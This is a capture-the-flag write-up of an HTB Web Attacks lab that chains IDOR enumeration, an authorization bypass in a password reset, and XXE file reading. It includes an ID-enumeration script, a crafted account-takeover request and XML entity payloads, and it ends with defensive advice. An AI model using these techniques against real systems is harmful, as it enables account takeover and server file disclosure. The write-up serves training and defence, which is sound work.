HTB Web Attacks - Skill Assessment
Chaining IDOR, HTTP Verb Tampering, and XXE for Flag Exfiltration
Introduction
Modern web application security relies on authorization checks at every API boundary. When an application trusts client-side identity without verifying it on the backend, it opens the door to serious logic flaws.
This post walks through a multi-stage exploit chain from the Skill Assessment of HTB’s Web Attacks module, part of the CWES certification path. By combining an Insecure Direct Object Reference (IDOR) flaw with HTTP Verb Tampering, full Account Takeover (ATO) was achieved. From there, In-Band XXE injection with a PHP Stream Filter was used to extract server-side source code.
The Attack Chain at a Glance
- Initial Access: Logging in with the provided credentials and identifying the starting user context.
- API Enumeration: Finding an admin account and reset token through IDOR in the site’s URL structure, which then exposed API endpoints.
- Account Takeover: Abusing loose cookie-to-request mapping to reset the administrator’s password.
- Data Exfiltration: Using XXE injection to read server files via Base64 encoding.
Technical Deep-Dive
Phase 0: Initial Access
The Skill Assessment provided a starting point: authenticate htb-student with the password Academy_student!.
After logging in, the application landed on profile.php, showing a standard user dashboard for Paolo Perrone at Schaefer Inc.
Intercepting the profile page request in Burp Suite revealed that the application was already leaking the user’s ID both in the URL and in a uid cookie. The API endpoint /api.php/user/74 confirmed this, returning the current user's details directly:
This was the first signal that user IDs were being used as direct object references with no additional validation, setting the stage for IDOR enumeration.
Phase 1: API Enumeration & Insecure Direct Object Reference (IDOR)
The application exposed user IDs directly in its URL structure, allowing any authenticated user to reference other users’ resources by simply changing the ID in the URL. This led to the discovery of two sensitive API endpoints:
/api.php/user/${uid}/api.php/token/${uid}
The backend never checked whether the logged-in user had permission to access other users’ profiles or tokens.
A simple Bash script iterated through user IDs to find interesting accounts:
#!/bin/bash
BASE_URL="http://154.57.164.71:30176/api.php/user"
for uid in {1..100}; do
response=$(curl -s -w "\n" "${BASE_URL}/${uid}")
if [ -n "$response" ]; then
echo "[*] User ID: ${uid} | ${response}"
fi
doneThe script found an admin account at ID 52:
{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}A direct GET request to /api.php/token/52 then returned the admin's active reset token with no errors:
{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}Phase 2: HTTP Verb Tampering & Account Takeover (ATO)
The goal was to use the stolen token against the password reset page at /reset.php.
Get ZeroByte’s stories in your inbox
Join Medium for free to get updates from this writer.
Sending a standard application/json POST request returned a Missing parameters error right away.
Looking closer at the backend logic revealed the problem: the PHP code was checking permissions by comparing the uid cookie against the uid value in the request, essentially doing $_COOKIE['uid'] === $_REQUEST['uid'].
By sending the parameters as URL query strings instead of a POST body, and setting the cookie to uid=52, the authorization check passed completely:
POST /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=a HTTP/1.1
Host: 154.57.164.71:30176
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=16vrs65ncrfrgv51r7kiogl864; uid=52
Content-Length: 0
Connection: closeThe server returned 200 OK with:
Password changed successfullyLogging in as a.corrales / a gave full access to the admin panel.
Phase 3: In-Band XXE Injection
With admin access, the focus shifted to /event.php, which contains a form for creating new events. Before injecting anything malicious, a legitimate request was sent first to understand how the form data is transmitted to the backend.
Intercepting the request in Burp Suite revealed that the form data is sent as raw XML to /addEvent.php, and the event name field is reflected back in the response as "Event 'a' has been created." This confirmed that whatever ends up in the <name> tag gets reflected on the page, making it the injection point
The next step was to verify that the parser actually processes XML entities before attempting anything more aggressive. A simple internal entity was defined and referenced in the <name> tag:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY company "Inlane Freight">
]>
<root>
<name>&company;</name>
<details>aaa</details>
<date>2026-05-20</date>
</root>The response returned “Event ‘Inlane Freight’ has been created”, confirming the parser resolves entities and reflects them. With that confirmed, the next step was testing whether external entities work as well, by pointing one at a known local file:
The full contents of /etc/passwd were returned in the response, confirming a working In-Band XXE vulnerability.
The target file was /flag.php, but pointing an XML entity directly at a PHP file causes parser errors because PHP tags like <?php ?> conflict with XML syntax. The fix was to use a PHP stream filter (php://filter) to Base64-encode the file contents before the parser ever saw them:
The response contained a Base64 string embedded in the event echo. Selecting it in Burp Suite’s Inspector panel and choosing Base64 decode revealed the flag directly:
<?php $flag = "HTB{m45------ck3r}"; ?>Key defensive recommendations:
- IDOR: Validate that the requesting user actually owns the resource on every single request. Object references should be tied to the server-side session, not to a user-supplied ID in the URL or cookie. Avoid sequential numeric IDs and replace them with unpredictable references like UUIDs.
- HTTP Verb Tampering: Apply authorization checks consistently regardless of where parameters arrive, whether in the request body, URL query string, or cookies. Never resolve a user’s identity from values they control directly. A single centralized authorization function should handle all incoming requests the same way.
- XXE: Disable external entity and DTD processing at the parser level. In PHP this means setting
libxml_disable_entity_loader(true)before parsing and usingLIBXML_NOENTcarefully. This blocks both In-Band and Out-of-Band XXE at the root. As an extra layer, avoid reflecting user-supplied XML values back in the response, which limits the impact of any bypass.
Thanks for reading!
Hope this walkthrough gave you a clear picture of how these three vulnerabilities chain together in practice. If you are working through the Web Attacks module yourself, good luck with the Skill Assessment. Feel free to reach out if you have any questions.








